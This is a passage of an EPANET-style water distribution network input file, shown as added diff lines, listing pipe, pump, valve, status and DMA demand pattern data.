0 4.5 11.89 0 ; + T6 101.5 5.2 0 5.5 8.33 0 ; + T7 102 2.5 0 5 7.14 0 ; + +[PIPES] +;ID Node1 Node2 Length Diameter Roughness MinorLoss Status + P1 J175 J174 52.9 203 72.4549266 0 Open ; + P10 J335 J336 79.23 76 108.0095074 0 Open ; + P100 J159 J160 107.88 406 76.51422883 0 Open ; + P1000 J341 J204 109.27 203 76.94614787 0 Open ; + P101 J166 J162 243.37 254 84.20845169 0 Open ; + P1016 J22 J233 164.77 305 85.23817366 0 Open ; + P102 J109 J408 1280.3 508 92.94722922 0 Open ; + P1022 J281 J283 200.76 102 99.58078005 0 Open ; + P1023 J278 J283 136.34 102 95.68850653 0 Open ; + P1024 J580 J278 375.62 102 89.62069894 0 Open ; + P1025 J575 J132 39.18 76 97.77659267 0 Open ; + P1026 J132 J493 45.61 76 88.45039526 0 Open ; + P1027 J486 J488 82.32 51 92.0106009 0 Open ; + P1028 J489 J486 9.57 51 86.99339612 0 Open ; + P1029 J489 J492 122.62 76 91.33959845 0 Open ; + P103 J2 J1219 35.98 254 79.37099717 0 Open ; + P1030 J493 J489 95.25 76 104.6083303 0 Open ; + P1031 J494 J490 188.28 152 84.37414232 0 Open ; + P1032 J490 J492 143.29 152 98.43095137 0 Open ; + P1033 J492 J131 128.79 152 84.68939593 0 Open ; + P1034 J254 J253 52.87 203 97.41854735 0 Open ; + P1035 J253 J128 122.47 152 97.7581413 0 Open ; + P1036 J131 J128 83.33 203 74.29791874 0 Open ; + P1039 J573 J128 121.38 203 92.14229573 0 Open ; + P104 J166 J167 33.11 203 99.88658284 0 Open ; + P1040 J136 J573 29.45 152 94.68876721 0 Open ; + P1041 J136 J129 307.54 102 112.5081558 0 Open ; + P1042 J89 J573 84.54 152 76.15024112 0 Open ; + P1044 T5 J64 65.8 203 100.2182444 0 Open ; + P1045 J64 J53 68.63 203 118.82139 0 Open ; + P106 J102 J101 270.38 102 63.55113264 0 Open ; + P107 J171 J172 357 203 80.50983232 0 Open ; + P108 J101 J109 183.53 203 78.72048108 0 Open ; + P109 J175 J172 218.52 203 76.89340854 0 Open ; + P11 J318 J235 83.45 101.6 96.83442437 0 Open ; + P110 J179 J177 425.83 508 98.99414116 0 Open ; + P111 J976 J143 126.36 152 72.41174834 0 Open ; + P112 J142 J976 646.98 305 68.60087459 0 Open ; + P113 J137 J181 310.73 152 85.35380111 0 Open ; + P115 J408 J435 99.88 102 91.23151293 0 Open ; + P116 J186 J187 204.54 152 93.47394033 0 Open ; + P117 J435 J431 104 102 67.96195457 0 Open ; + P118 J431 J432 115.91 102 84.66525677 0 Open ; + P119 J188 J189 64.88 305 78.1411898 0 Open ; + P12 J208 J337 85.24 406 89.66261184 0 Open ; + P120 J432 J1160 91.4 102 88.38904641 0 Open ; + P121 J192 J193 42.23 152 100.3675691 0 Open ; + P122 J173 J194 45.06 305 78.97804998 0 Open ; + P123 J1160 J3 51.21 152 61.06139089 0 Open ; + P124 J376 J225 99.09 102 78.83034804 0 Open ; + P125 J163 J196 193.35 508 84.73893721 0 Open ; + P126 J225 J316 109.6 76 89.73794074 0 Open ; + P127 J316 J40 87.22 102 73.67740117 0 Open ; + P128 J40 J374 165.63 102 90.94829628 0 Open ; + P129 J374 J377 79.59 102 78.06619059 0 Open ; + P13 J337 J24 62.56 406 83.04378688 0 Open ; + P130 J376 J226 56.79 76 70.70724159 0 Open ; + P131 J206 J207 86.5 76 74.72670795 0 Open ; + P132 J226 J379 67.35 76 88.54168235 0 Open ; + P134 J4 J5 68.79 76 78.56802703 0 Open ; + P136 J5 J431 241.77 102 75.73324573 0 Open ; + P138 J203 J217 19.28 254 72.48528099 0 Open ; + P139 J208 J211 73.66 406 68.718495 0 Open ; + P14 J24 J39 151.39 406 72.00911504 0 Open ; + P140 J219 J220 222.3 102 107.8347395 0 Open ; + P141 J221 J51 169.94 102 103.7880571 0 Open ; + P142 J37 J93 16.61 152.4 85.39068455 0 Open ; + P144 J382 T6 130.79 76 99.91906661 0 Open ; + P147 J232 J231 60.08 203 92.837036 0 Open ; + P148 J233 J234 561.69 305 96.43940809 0 Open ; + P15 J39 T1 395.29 406 90.48302153 0 Open ; + P150 J82 J50 93.19 152 103.1527295 0 Open ; + P154 J245 J66 170.64 152 108.8315571 0 Open ; + P155 J60 J219 59.38 101.6 105.7092049 0 Open ; + P156 J242 J243 80.34 102 110.8685183 0 Open ; + P157 J244 J245 232.93 102 102.9010036 0 Open ; + P158 J236 J246 69.88 76 105.0723995 0 Open ; + P159 J204 J336 118.78 203 80.14718268 0 Open ; + P16 J1208 J353 252.34 102 97.24831268 0 Open ; + P160 J248 J246 68.68 76 104.6278726 0 Open ; + P161 J361 J355 40.31 76 90.01325959 0 Open ; + P162 J249 J85 190.67 152 98.76064267 0 Open ; + P163 J251 J90 67.74 203 94.23019998 0 Open ; + P165 J135 J234 143.81 305 92.93426098 0 Open ; + P166 J352 J382 235 101.6 93.60266001 0 Open ; + P17 J408 J1025 32.42 508 77.28134214 0 Open ; + P174 J6 J7 278.59 102 89.32071004 0 Open ; + P177 J305 J303 56.8 102 100.6056442 0 Open ; + P18 J1025 J411 283.3 508 100.3 0 Open ; + P184 J1208 J352 59.38 101.6 95.91470923 0 Open ; + P19 J411 J1056 750.87 508 97.7 0 Open ; + P195 J7 J4 144.33 76 80.6314204 0 Open ; + P2 J175 J181 295.25 203 62.04782884 0 Open ; + P20 J1056 J214 579.67 508 89.67250259 0 Open ; + P201 J7 J8 102.19 76 96.62781785 0 Open ; + P21 J214 J212 176.48 406 86.69368007 0 Open ; + P211 J295 J296 202.33 76 84.05170372 0 Open ; + P215 J419 T2 140.76 254 81.42351414 0 Open ; + P218 J310 J311 54.55 102 81.77139586 0 Open ; + P219 J312 J313 67.98 102 86.8360308 0 Open ; + P22 J159 J192 567.3 406 81.11362312 0 Open ; + P220 J314 J315 68.33 76 93.73758011 0 Open ; + P223 J318 J319 108.98 203 93.21702289 0 Open ; + P225 J321 J322 120.77 102 92.68551418 0 Open ; + P228 J327 J328 42.72 76 99.28890046 0 Open ; + P23 J192 J196 316.91 508 77.16263034 0 Open ; + P230 J330 J327 114.61 76 77.39533937 0 Open ; + P231 J331 J330 12.21 76 98.41544449 0 Open ; + P233 J333 J334 58.66 76 97.29593266 0 Open ; + P234 J335 J333 41.63 76 87.20981831 0 Open ; + P235 J336 J337 92.74 76 84.32189979 0 Open ; + P237 J415 J441 12.01 305 5.0585 0 Open ; + P238 J441 J416 12.59 304.8 104.739957 0 Open ; + P24 J177 J194 71.05 508 88.62083113 0 Open ; + P241 J344 J345 49.46 102 114.8367119 0 Open ; + P242 J36 J29 25.06 152.4 99.0149834 0 Open ; + P243 J36 J88 57.08 203.2 82.79621449 0 Open ; + P245 J87 J84 18.65 152.4 120.3989086 0 Open ; + P246 J249 J250 56.94 152.4 121.5967586 0 Open ; + P248 J250 J245 6.96 152.4 110.0672989 0 Open ; + P249 J359 J360 28.43 51 85.38083927 0 Open ; + P25 J196 J194 4.3 508 74.37733692 0 Open ; + P251 J329 J362 11.49 152 103.73326 0 Open ; + P252 J363 J364 135.44 305 82.30042619 0 Open ; + P255 J369 J370 76.14 51 71.46719262 0 Open ; + P256 J371 J364 55.17 305 94.85911557 0 Open ; + P258 J372 J373 79.53 102 75.51228399 0 Open ; + P259 J374 J375 136.09 102 83.09359309 0 Open ; + P26 J163 J1 22.94 508 88.00750201 0 Open ; + P264 J242 J241 11.73 101.6 112.505063 0 Open ; + P266 J250 J242 55.29 101.6 107.0557801 0 Open ; + P267 J572 J147 344.62 152.4 95.59127017 0 Open ; + P268 J130 J149 146.46 152.4 86.83782705 0 Open ; + P27 J1 J161 163.63 254 69.10553047 0 Open ; + P270 J149 J150 88.36 101.6 92.76968792 0 Open ; + P272 J8 J9 143.88 102 73.95290985 0 Open ; + P275 J149 J148 172.96 152.4 98.1648787 0 Open ; + P28 J1 J164 117.42 152 88.26665116 0 Open ; + P280 J407 J401 333.4 203 88.34304078 0 Open ; + P282 J436 J10 131.93 102 86.72041921 0 Open ; + P284 J574 J151 198.97 76.2 89.12500159 0 Open ; + P285 J151 J153 130.71 76.2 90.18255066 0 Open ; + P286 J169 J182 155.58 101.6 90.00536972 0 Open ; + P287 J419 J420 45.12 254 78.34930836 0 Open ; + P288 J169 J222 226.74 76.2 85.05269358 0 Open ; + P29 J1 J165 20.51 152 89.48380518 0 Open ; + P290 J222 J224 46.28 76.2 89.4448254 0 Open ; + P291 J425 J426 132.94 305 107.0799731 0 Open ; + P292 J416 J427 13.54 305 97.26629793 0 Open ; + P293 J427 J425 125.2 305 92.15913275 0 Open ; + P294 J428 J429 101.2 102 79.96510184 0 Open ; + P295 J10 J435 133.23 76 72.40920176 0 Open ; + P296 J432 J433 231.87 76 82.95723709 0 Open ; + P297 J411 J438 42.53 406 73 0 Open ; + P298 J438 J434 40.11 305 84.55106971 0 Open ; + P299 J436 J429 61.51 102 87.70989261 0 Open ; + P3 J181 J173 136.52 300 73.64913862 0 Open ; + P30 J161 J166 40.89 254 86.70955075 0 Open ; + P301 J434 J11 45.31 305 85.18923941 0 Open ; + P302 J11 J433 178.28 305 80.34022293 0 Open ; + P303 J428 J439 131.94 76 88.33454494 0 Open ; + P304 J222 J152 268.74 101.6 89.39267725 0 Open ; + P305 J407 J441 43.41 203 90.79931312 0 Open ; + P307 J433 J12 47.3 305 60.51223799 0 Open ; + P308 J426 J363 334.57 305 88.07717274 0 Open ; + P309 J235 J230 128.8 101.6 94.95597676 0 Open ; + P31 J171 J186 144.67 152 108.7731191 0 Open ; + P310 J269 J156 9 610 87.26802597 0 Open ; + P316 R1 J280 11.62 610 70.45194642 0 Open ; + P319 J274 J269 10.54 610 76.59274096 0 Open ; + P32 J186 J2 84.44 152 103.5584403 0 Open ; + P320 J273 J269 11.47 610 76.51881041 0 Open ; + P322 J280 J285 11.5 610 89.43312359 0 Open ; + P323 J280 J276 11.47 610 84.68719833 0 Open ; + P329 J503 J501 134.52 152 100.1835818 0 Open ; + P33 J1219 J179 22.81 254 73.03598003 0 Open ; + P330 J501 J499 66.79 76 96.42287802 0 Open ; + P331 J486 J487 93.46 51 93.19325097 0 Open ; + P336 J495 J496 182.99 152 92.1736733 0 Open ; + P337 J497 J494 20.49 305 5.6181 0 Open ; + P338 J499 J500 74.38 76 100.3553057 0 Open ; + P339 J501 J502 307.49 102 88.65301931 0 Open ; + P34 J179 J110 98 508 78.50596539 0 Open ; + P340 J494 J496 96.21 305 101.082424 0 Open ; + P341 J496 J498 189.74 305 94.6355163 0 Open ; + P343 J495 J576 111.65 152 100.2909021 0 Open ; + P344 J576 J571 45.26 152 85.90916474 0 Open ; + P346 J499 J504 54.91 51 93.91341161 0 Open ; + P347 J509 T4 385.56 305 96.23520379 0 Open ; + P348 J503 J509 42.47 305 88.72950781 0 Open ; + P349 J503 J511 39.12 305 97.01243523 0 Open ; + P35 J50 J51 64.56 152 84.3826461 0 Open ; + P350 J509 J240 400.16 203 99.85976755 0 Open ; + P37 J348 J52 180.61 203 97.80387751 0 Open ; + P372 J219 J86 6.42 101.6 113.1146519 0 Open ; + P374 J287 J288 15.83 254 91.91560418 0 Open ; + P375 J288 J300 7.79 254 75.48935679 0 Open ; + P376 J300 J299 6.64 254 102.6856466 0 Open ; + P378 J292 J256 6.47 254 112.4496521 0 Open ; + P379 J287 J289 6.43 254 101.7753453 0 Open ; + P38 J55 J56 169.49 76 106.4650405 0 Open ; + P380 J289 J290 4.79 254 87.81324875 0 Open ; + P381 J291 J415 5.53 304.8 119.20713 0 Open ; + P383 J571 J491 19.56 152 80.14926659 0 Open ; + P384 J491 J575 26.14 76 101.9126563 0 Open ; + P385 J498 J134 106.53 305 76.02373041 0 Open ; + P386 J134 J576 8.12 152 79.90108822 0 Open ; + P39 J490 J488 190.12 102 95.4375542 0 Open ; + P397 J332 J301 13.16 203.2 87.42718755 0 Open ; + P398 J301 J302 6.75 203.2 91.05042408 0 Open ; + P399 J302 J307 9.71 203.2 81.41362338 0 Open ; + P40 J59 J60 143.64 102 107.9143544 0 Open ; + P402 J307 J309 6.12 203.2 89.1549467 0 Open ; + P403 J304 J306 6.86 152.4 111.4725023 0 Open ; + P409 J306 J87 26.38 152.4 89.89786692 0 Open ; + P410 J323 J317 7.7 203.2 85.6676939 0 Open ; + P42 J54 J73 32.93 152 114.9190666 0 Open ; + P424 J317 J384 27.8 203.2 124.9856956 0 Open ; + P43 J64 J65 36.18 203 88.53730832 0 Open ; + P44 J66 J67 247.65 152 115.1681772 0 Open ; + P443 J13 J12 67.31 305 85.57602477 0 Open ; + P445 J417 J421 7.8 254 86.21060196 0 Open ; + P446 J418 J421 31.15 254 102.1976464 0 CV ; + P450 J418 J422 19.47 254 96.96505055 0 Open ; + P46 J69 J70 70.86 102 112.662633 0 Open ; + P465 J421 J14 18.2 254 86.56539928 0 Open ; + P467 J422 J420 15.17 254 96.15411097 0 Open ; + P468 J420 J287 31.29 254 105.2733756 0 Open ; + P48 J73 J71 28.98 152 113.5196498 0 Open ; + P482 J9 J3 321.89 152 78.90389206 0 Open ; + P484 J438 J13 336.57 203 79.98 0 Open ; + P49 J72 J74 134.92 152 121.7050339 0 Open ; + P492 J86 J243 157.32 101.6 114.1136636 0 Open ; + P5 J1223 J218 588.97 406 83.56188054 0 Open ; + P500 J90 J252 24.23 203 112.6227522 0 Open ; + P501 J571 J572 11.32 152.4 111.4535058 0 Open ; + P502 J89 J574 9.19 76.2 99.5945589 0 Open ; + P51 J68 J77 57.47 102 92.23786036 0 Open ; + P510 J16 J15 193.37 102 104.9547114 0 Open ; + P52 J78 J51 83.26 102 89.65416834 0 Open ; + P524 J511 J580 170.54 305 96.22781415 0 Open ; + P527 J580 J497 149.04 305 73.12421582 0 Open ; + P529 J278 J281 212.31 102 103.917751 0 Open ; + P53 J384 J1208 10.32 203 87.56071617 0 Open ; + P54 J488 J491 111.67 51 92.39787511 0 Open ; + P55 J82 J83 99.86 76 87.65298441 0 Open ; + P57 J84 J85 288.77 152 99.59669568 0 Open ; + P58 J86 J84 503.91 102 100.8491608 0 Open ; + P596 J56 J58 76.39 76 112.8056283 0 Open ; + P597 J281 J284 79.68 102 101.1211685 0 Open ; + P6 J180 J171 199.39 152 94.64505119 0 Open ; + P609 J57 J56 86.07 76 111.6336079 0 Open ; + P610 J15 J17 206.58 76 95.7997832 0 Open ; + P63 J96 J95 165.95 254 88.72727612 0 Open ; + P633 J54 J67 173.88 152 119.1332558 0 Open ; + P64 J96 J97 126.63 203 80.24772732 0 Open ; + P65 J353 J351 164.93 102 101.9472625 0 Open ; + P67 J97 J102 330.24 203 74.11384494 0 Open ; + P670 J17 J18 54.41 152 98.70407263 0 Open ; + P671 J18 J16 62.97 152 94.83787887 0 Open ; + P68 J195 J188 302.74 305 83.22085413 0 Open ; + P69 J1223 J40 103.63 152 72.35176717 0 Open ; + P697 J16 J19 88.89 102 97.76254098 0 Open ; + P7 J218 J211 60.22 508 78.45371492 0 Open ; + P70 J40 J375 88.36 152 72.84389475 0 Open ; + P71 J188 J191 419.4 254 84.7287395 0 Open ; + P72 J95 J110 247.46 305 85.0356826 0 Open ; + P724 J78 J268 92.72 152 96.70704964 0 Open ; + P725 J78 J295 117.32 152 105.2924295 0 Open ; + P752 J297 T7 70.36 152 106.1657491 0 Open ; + P753 J297 J221 71.91 152 89.52407649 0 Open ; + P754 J19 J15 92.49 51 84.82770733 0 Open ; + P755 J140 J141 47.12 305 114.1298526 0 Open ; + P756 J123 J141 41.66 305 107.9166509 0 Open ; + P757 J1024 J142 568.43 305 99.83133104 0 Open ; + P758 J1025 J1024 102.21 305 93.35734311 0 Open ; + P759 J221 J298 97.19 152 104.4350261 0 Open ; + P760 J298 J312 88.54 152 101.8544486 0 Open ; + P761 J312 J83 171.27 152 96.99210802 0 Open ; + P763 J141 J157 387.59 305 112.2055437 0 Open ; + P766 J318 J303 37.85 152 95.03726284 0 Open ; + P767 J157 J94 227.5 305 109.3148967 0 Open ; + P768 J157 J158 217.03 254 116.5115918 0 Open ; + P769 J94 J168 154.26 305 110.6185664 0 Open ; + P771 J168 J170 69.36 203 99.63218871 0 Open ; + P772 J168 J176 215.02 305 85.80309439 0 Open ; + P775 J176 J178 129.42 203 108.382028 0 Open ; + P776 J178 J184 421.07 102 114.3497002 0 Open ; + P777 J176 J185 402.31 305 111.7656211 0 Open ; + P779 J185 J190 524.49 203 87.90984792 0 Open ; + P780 J18 J406 153.56 203 104.9547114 0 Open ; + P781 J83 J318 130.18 152 90.91406861 0 Open ; + P783 J190 J197 674.96 203 115.0802063 0 Open ; + P784 J213 J190 88.96 102 98.4320195 0 Open ; + P785 J190 J215 184.71 102 89.6475285 0 Open ; + P786 J197 J216 166.27 203 110.0001555 0 Open ; + P787 J216 T3 127.08 102 130.1224074 0 Open ; + P788 J216 J227 107.85 152 113.9140977 0 Open ; + P789 J1056 J366 285.95 203 74.96865627 0 Open ; + P791 J227 J238 82.5 152 115.9461135 0 Open ; + P794 J238 J239 39.04 203 123.9466201 0 Open ; + P795 J239 J255 129.41 203 97.7802756 0 Open ; + P796 J256 J238 22.42 203 89.87622094 0 Open ; + P797 J227 J258 21.64 102 117.0541964 0 Open ; + P798 J255 J260 684.07 203 116.0879492 0 Open ; + P8 J218 J212 11.35 406 76.077444 0 Open ; + P800 J344 J1170 15.93 203 109.6676101 0 Open ; + P801 J1170 J347 9.47 203 104.4688588 0 Open ; + P804 J1169 J265 68.27 102 103.0053454 0 Open ; + P805 J265 J266 96.57 152 114.5601573 0 Open ; + P806 J266 J260 32.51 152 103.8989922 0 Open ; + P807 J260 J350 162.82 203 100.1492592 0 Open ; + P808 J83 J311 253.47 203 92.06420424 0 Open ; + P809 J321 J324 17.35 102 109.3502993 0 Open ; + P810 J406 J394 64.3 203 88.93896444 0 Open ; + P811 J320 J321 50.17 102 89.56723202 0 Open ; + P813 J328 J320 30.85 152 76.0415565 0 Open ; + P815 J329 J328 50.52 102 84.34217359 0 Open ; + P817 J1158 J1153 253.3 203 72.65810772 0 Open ; + P819 J1153 J1157 8.02 203 105.0732947 0 Open ; + P821 J354 J267 64.78 102 83.94520189 0 Open ; + P822 J267 J353 11.71 102 99.59355845 0 Open ; + P823 J236 J237 18.84 76 113.3617729 0 Open ; + P826 J237 J244 335.29 76 99.14858764 0 Open ; + P827 J244 J247 119.07 76 103.740183 0 Open ; + P83 J155 J160 15.14 610 75.66382855 0 Open ; + P830 J247 J248 89.3 76 99.04404122 0 Open ; + P831 J248 J249 62.2 76 86.2917659 0 Open ; + P84 J183 J187 148.63 203 97.41353032 0 Open ; + P840 J311 J320 235.28 203 97.77044222 0 Open ; + P841 J297 J331 347.83 76 93.67657919 0 Open ; + P842 J62 J55 64.41 52 95.52120444 0 Open ; + P844 J59 J62 12.49 102 113.808278 0 Open ; + P846 J58 J118 94.84 203 103.9804942 0 Open ; + P847 J55 J118 68.63 152 91.07111508 0 Open ; + P85 J132 J133 36.6 76 69.9267053 0 Open ; + P850 J59 J57 241.13 101.6 112.5310973 0 Open ; + P851 J62 J57 228.78 76 121.9332034 0 Open ; + P852 J58 J67 40.39 203 105.3809228 0 Open ; + P853 J67 J53 295.68 203 118.6474037 0 Open ; + P855 J92 J76 37.88 102 114.8547426 0 Open ; + P858 J92 J68 195.38 102 113.4099875 0 Open ; + P859 J71 J77 90.81 152 95.28589543 0 Open ; + P86 J134 J135 161 305 110.5 0 Open ; + P861 J77 J72 110.79 152 87.94104359 0 Open ; + P866 J68 J61 17.37 102 92.17383193 0 Open ; + P87 J187 J137 80.03 203 76.39854111 0 Open ; + P871 J61 J69 48.15 102 91.80712367 0 Open ; + P880 J1160 J1161 112.84 76 86.03497853 0 Open ; + P889 J1169 J1170 15.72 203 88.74112608 0 Open ; + P89 J375 J372 104.3 152 78.43046596 0 Open ; + P892 J414 J13 30.39 254 69.84847395 0 Open ; + P9 J212 J217 49.95 254 66.74918886 0 Open ; + P90 J372 J376 98.94 102 62.31894921 0 Open ; + P91 J143 J144 572.34 102 94.33889253 0 Open ; + P914 J399 J20 38.61 203 91.1800276 0 Open ; + P915 J1208 J362 10.58 152 72.77251422 0 Open ; + P92 J137 J180 63.12 203 83.1066216 0 Open ; + P924 J195 J1219 82.38 254 74.45899818 0 Open ; + P927 J210 J1223 348.88 406 84.53153832 0 Open ; + P929 J401 J399 83.31 203 90.08263129 0 Open ; + P930 J399 J21 78.95 203 88.2 0 Open ; + P931 J20 J406 248.4 203 87.08307229 0 Open ; + P932 J17 J399 381.56 203 84.96153948 0 Open ; + P933 J371 J23 130.54 305 87.94687626 0 Open ; + P934 J23 J385 18.46 254 102.9935452 0 Open ; + P935 J385 J22 152.13 305 100.0547405 0 Open ; + P937 J385 J251 198.09 254 74.27786438 0 Open ; + P938 J251 J257 168.95 254 74.4754521 0 Open ; + P939 J26 J25 248.76 152 95.78927854 0 Open ; + P94 J123 J145 51.35 305 139.0834768 0 Open ; + P940 J25 J27 187.99 152 99.28214747 0 Open ; + P941 J27 J30 142.58 152 79.37276275 0 Open ; + P942 J26 J27 85.08 152 83.59468263 0 Open ; + P943 J81 J28 84.21 76 86.77484454 0 Open ; + P944 J26 J31 59.58 254 82.35304046 0 Open ; + P946 J30 J31 143.03 102 98.06099167 0 Open ; + P947 J28 J32 122.43 152 76.80448613 0 Open ; + P948 J32 J29 74.71 152 104.8490736 0 Open ; + P949 J31 J35 24.39 254 92.68704895 0 Open ; + P95 J140 J145 50.7 305 118.4307393 0 Open ; + P951 J257 J37 338.8 254 94.71306209 0 Open ; + P953 J37 J35 495.66 254 85.4054411 0 Open ; + P954 J36 J34 294.07 203 78.6689048 0 Open ; + P955 J34 J33 131.74 102 85.18129613 0 Open ; + P956 J34 J38 115.17 152 68.25287125 0 Open ; + P957 J38 J33 51.05 152 98.15140681 0 Open ; + P958 J38 J32 122.41 102 105.3080501 0 Open ; + P959 J33 J28 123.42 102 98.22065346 0 Open ; + P96 J414 J417 53.72 254 87.90275096 0 Open ; + P961 J444 J366 234.55 203 85.65392299 0 Open ; + P962 J6 J1058 49.83 152 90.74777544 0 Open ; + P963 J366 J205 93.54 203 85.5303454 0 Open ; + P964 J205 J369 129.91 152 96.26374712 0 Open ; + P965 J205 J367 135.06 203 93.94273938 0 Open ; + P966 J367 J206 31.32 203 82.50879936 0 Open ; + P967 J206 J200 207.54 203 82.10707555 0 Open ; + P968 J200 J198 68.17 102 78.39635991 0 Open ; + P969 J200 J1154 149.16 203 86.26720664 0 Open ; + P97 J154 J155 24.41 610 88.89531663 0 Open ; + P970 J1154 J199 165.04 203 87.79507815 0 Open ; + P971 J367 J370 136.94 152 77.82946049 0 Open ; + P972 J370 J1158 219.42 152 82.66945023 0 Open ; + P973 J1158 J365 164.68 203 71.9318762 0 Open ; + P974 J365 J444 186.4 203 72.71874828 0 Open ; + P975 J369 J365 159.56 152 74.72359293 0 Open ; + P976 J359 J358 83.33 76 83.20228114 0 Open ; + P977 J89 J91 45.98 102 102.4316821 0 Open ; + P978 J358 J355 178.97 76 78.85562406 0 Open ; + P98 J156 J154 174.53 610 71.75234195 0 Open ; + P981 J361 J351 36.19 76 80.21622813 0 Open ; + P982 J351 J349 87.24 203 98.51140755 0 Open ; + P983 J349 J352 180.2 101.6 91.89644795 0 Open ; + P984 J349 J381 16.03 101.6 108.9554876 0 Open ; + P986 J381 J348 229.54 101.6 87.08395905 0 Open ; + P987 J348 J232 94.56 101.6 96.40637069 0 Open ; + P988 J232 J382 9.74 101.6 102.5172429 0 Open ; + P989 J1153 J1155 91.59 51 82.07033197 0 Open ; + P99 J110 J109 452.37 508 96.63823156 0 Open ; + P990 J1155 J1154 78.87 102 85.78766419 0 Open ; + P991 J214 J202 20.25 203 74.3133426 0 Open ; + P992 J202 J314 69.15 203 80.64075409 0 Open ; + P993 J314 J199 63.52 203 80.23202717 0 Open ; + P994 J199 J1157 115.39 203 83.09435479 0 Open ; + P995 J1157 J201 228.99 152 82.49961346 0 Open ; + P996 J332 J201 10.22 203 84.57606945 0 Open ; + P997 J201 J308 154.87 203 96.61744961 0 Open ; + P998 J308 J204 107.98 203 90.64077339 0 Open ; + P999 J203 J341 81.67 254 68.70464794 0 Open ; + +[PUMPS] +;ID Node1 Node2 Parameters + PU1 J285 J273 HEAD 8 ; + PU2 J280 J269 HEAD 8 ; + PU3 J276 J274 HEAD 8 ; + PU4 J299 J292 HEAD 9 ; + PU5 J300 J256 HEAD 9 ; + PU6 J289 J415 HEAD 10 ; + PU7 J290 J291 HEAD 10 ; + PU8 J301 J304 HEAD 9 ; + PU9 J302 J306 HEAD 9 ; + PU10 J307 J317 HEAD 11 ; + PU11 J309 J323 HEAD 11 ; + +[VALVES] +;ID Node1 Node2 Diameter Type Setting MinorLoss + v1 J35 J88 203.2 PRV 40 0.0000 ; + V45 J253 J130 152.4 PRV 40 0.0000 ; + V47 J129 J169 101.6 PRV 40 0.0000 ; + V2 J14 J422 254 TCV 0 0 ; + +[TAGS] + +[DEMANDS] +;Junction Demand Pattern Category + +[STATUS] +;ID Status/Setting + PU1 Closed + PU2 Open + PU3 Closed + PU4 Closed + PU5 Closed + PU6 Closed + PU7 Closed + PU8 Closed + PU9 Closed + PU10 Closed + PU11 Closed + V2 Closed + v1 Open + V45 Open + V47 Open + +[PATTERNS] +;ID Multipliers +; + DMA1_pat 0.5691504 0.46466868 0.43854825 0.3604161 0.309779115 0.334524795 + DMA1_pat 0.384703515 0.471542475 0.55013289 0.680505915 0.70364769 0.67088259 + DMA1_pat 0.79690221 0.719915685 0.770552655 0.73847493 0.81477408 0.72426909 + DMA1_pat 0.806983785 0.779259465 0.866785815 0.740766195 0.67042434 0.632389335 + DMA1_pat 0.52252044 0.506709855 0.445588455 0.45465063 0.47547432 0.53389635 + DMA1_pat 0.662501925 0.62239704 0.67599876 0.72593706 0.803061855 0.70144995 + DMA1_pat 0.69335184 0.653825385 0.621432975 0.65228289 0.571880295 0.57901434 + DMA1_pat 0.58209933 0.711668985 0.70453494 0.665779725 0.741747645 0.692194965 + DMA1_pat 0.72708954 0.619247205 0.46304505 0.45095511 0.309260895 0.282421215 + DMA1_pat 0.433303785 0.40670589 0.545014905 0.69928266 0.739904895 0.6434271 + DMA1_pat 0.680905935 0.691061505 0.67727895 0.626259375 0.626742975 0.7142742 + DMA1_pat 0.681873135 0.788264685 0.75779802 0.788264685 0.802047225 0.845571045 + DMA1_pat 0.604884255 0.443633715 0.5131584 0.36476118 0.31782714 0.463887405 + DMA1_pat 0.39572595 0.64149669 0.671098245 0.668761275 0.79456785 0.674603685 + DMA1_pat 0.754255215 0.808394895 0.713747835 0.68570427 0.68122509 0.549576105 + DMA1_pat 0.68219883 0.569829795 0.74334939 0.832154025 0.67888812 0.746270595 + DMA1_pat 0.601325505 0.503529285 0.51908778 0.35946171 0.29924835 0.453216765 + DMA1_pat 0.42957594 0.539495655 0.896330625 0.89673474 0.682552935 0.57990732 + DMA1_pat 0.428969775 0.4200792 0.62941161 0.691039395 0.670631505 0.618904575 + DMA1_pat 0.682552935 0.832884315 0.90279648 0.821771115 0.84945309 0.691039395 + DMA1_pat 0.716292135 0.54775281 0.53349507 0.419645895 0.35601804 0.33814266 + DMA1_pat 0.45241743 0.509874015 0.56456418 0.760767795 0.62159517 0.67820055 + DMA1_pat 0.6928839 0.639257745 0.619892745 0.659686755 0.65628192 0.631809675 + DMA1_pat 0.604145385 0.70394961 0.772471905 0.88546986 0.88334184 0.752042895 + DMA1_pat 0.71409849 0.457925235 0.446544345 0.42936957 0.40184853 0.43309422 + DMA1_pat 0.469926885 0.52227894 0.590771145 0.754862745 0.76996827 0.644778585 + DMA1_pat 0.73210098 0.70954614 0.548144565 0.577734855 0.592426545 0.624499935 + DMA1_pat 0.55973238 0.766864395 0.716995455 0.77452062 0.90446958 0.85749759 +; + DMA2_pat 0.61842105 0.45394737 0.444736845 0.3381579 0.31578948 0.313157895 + DMA2_pat 0.414473685 0.448684215 0.49868421 0.58157895 0.684210525 0.72763158 + DMA2_pat 0.669736845 0.79210527 0.66842106 0.815789475 0.771052635 0.830263155 + DMA2_pat 0.807894735 0.793421055 0.83552631 0.83684211 0.677631585 0.661842105 + DMA2_pat 0.567746055 0.470813805 0.470813805 0.42607584 0.428206215 0.474009375 + DMA2_pat 0.57946314 0.623135925 0.683851725 0.774392835 0.77119728 0.79569663 + DMA2_pat 0.66254793 0.73604601 0.71154666 0.59544099 0.63485301 0.616744785 + DMA2_pat 0.58159353 0.596506185 0.700894755 0.650830845 0.71580741 0.73178526 + DMA2_pat 0.681082545 0.73368099 0.49901097 0.373583895 0.315590715 0.276479055 + DMA2_pat 0.347959005 0.461247975 0.528681885 0.625786725 0.66894444 0.7647006 + DMA2_pat 0.66624708 0.651411615 0.75660852 0.561050175 0.655457655 0.64466823 + DMA2_pat 0.71614818 0.840226575 0.771443985 0.790325475 0.848318655 0.821345085 + DMA2_pat 0.66520308 0.501646545 0.49286499 0.41602635 0.361141605 0.437980245 + DMA2_pat 0.394072455 0.654226125 0.60592755 0.81119649 0.769484085 0.64324917 + DMA2_pat 0.69703623 0.67618002 0.70801317 0.70801317 0.705817785 0.538968165 + DMA2_pat 0.58068057 0.565312845 0.75411636 0.825466515 0.693743145 0.793633365 + DMA2_pat 0.75185274 0.5080086 0.48529764 0.380109975 0.33707865 0.39445374 + DMA2_pat 0.48410232 0.64188381 0.812813775 0.84628257 0.68252451 0.59287593 + DMA2_pat 0.42553191 0.41955534 0.583313415 0.6239541 0.58689936 0.562993065 + DMA2_pat 0.659813535 0.811618455 0.811618455 0.882142005 0.85823571 0.857040405 + DMA2_pat 0.670350795 0.574243155 0.502162425 0.43248438 0.373618455 0.35439693 + 